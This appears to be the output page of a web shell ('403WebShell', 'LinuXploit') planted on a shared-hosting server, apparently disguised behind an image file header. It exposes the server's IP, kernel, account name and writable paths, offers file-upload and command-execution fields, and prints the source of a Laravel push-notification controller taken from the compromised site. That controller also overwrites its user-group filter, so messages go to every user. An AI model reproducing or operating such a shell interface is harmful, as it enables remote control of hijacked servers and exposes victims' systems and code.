����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.144.19.6
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/PushNotificationsController.php
<?php

namespace App\Http\Controllers;

use App\Notifications\OfferPushNotifications;
use App\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Notification;
use Jackiedo\DotenvEditor\Facades\DotenvEditor;

 
class PushNotificationsController extends Controller
{
   
    public function __construct()
    {
        $this->middleware('permission:pushnotification.settings', ['only' => ['index', 'push', 'updatekeys']]);
    }

    public function index()
    {
        return view('admin.pushnotifications.index');
    }

    public function push(Request $request)
    {
        if (env('DEMO_LOCK') == 1) {
            return back()->with('deleted', __('This action is disabled in the demo !'));
        }

        ini_set('max_excecution_time', -1);

        ini_set('memory_limit', -1);

        $request->validate([
            'subject' => 'required|string',
            'message' => 'required',
        ]);

        if (env('ONESIGNAL_APP_ID') == '' && env('ONESIGNAL_REST_API_KEY') == '') {

            return back()->withInput()->with('deleted',__('Please update onesignal keys in settings !, Keys not found !'));
        }

        try {

            $usergroup = User::query();

            $data = [
                'subject' => $request->subject,
                'body' => $request->message,
                'target_url' => $request->target_url ?? null,
                'icon' => $request->icon ?? null,
                'image' => $request->image ?? null,
                'buttonChecked' => $request->show_button ? "yes" : "no",
                'button_text' => $request->btn_text ?? null,
                'button_url' => $request->btn_url ?? null,
            ];

            if ($request->user_group == 'all_customers') {

                $users = $usergroup->select('id')->where('is_admin', '!=', 1)->get();

            } elseif ($request->user_group == 'all_admins') {

                $users = $usergroup->select('id')->where('is_admin', '=', 1)->get();

            } else {
                // all users
                $users = $usergroup->select('id')->get();
            }

            $users = $usergroup->select('id')->get();

            Notification::send($users, new OfferPushNotifications($data));

            return back()->with('success', __('Notification pushed successfully !'));

        } catch (\Exception $e) {

            return back()->withInput()->with('deleted', $e->getMessage());

        }

    }

    public function updateKeys(Request $request)
    {
        if (env('DEMO_LOCK') == 1) {
            return back()->with('deleted', __('This action is disabled in the demo !'));
        }
        $request->validate([
            'ONESIGNAL_APP_ID' => 'required|string',
            'ONESIGNAL_REST_API_KEY' => 'required|string',
        ], [
            'ONESIGNAL_APP_ID.required' => __('OneSignal app id is required'),
            'ONESIGNAL_REST_API_KEY.required' => __('Onesignal rest api key is required'),
        ]);

        $env_keys_save = DotenvEditor::setKeys([
            'ONESIGNAL_APP_ID' => $request->ONESIGNAL_APP_ID,
            'ONESIGNAL_REST_API_KEY' => $request->ONESIGNAL_REST_API_KEY,
        ]);

        $env_keys_save->save();

        return back()->with('success', __('OneSignal Keys updated successfully !'));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit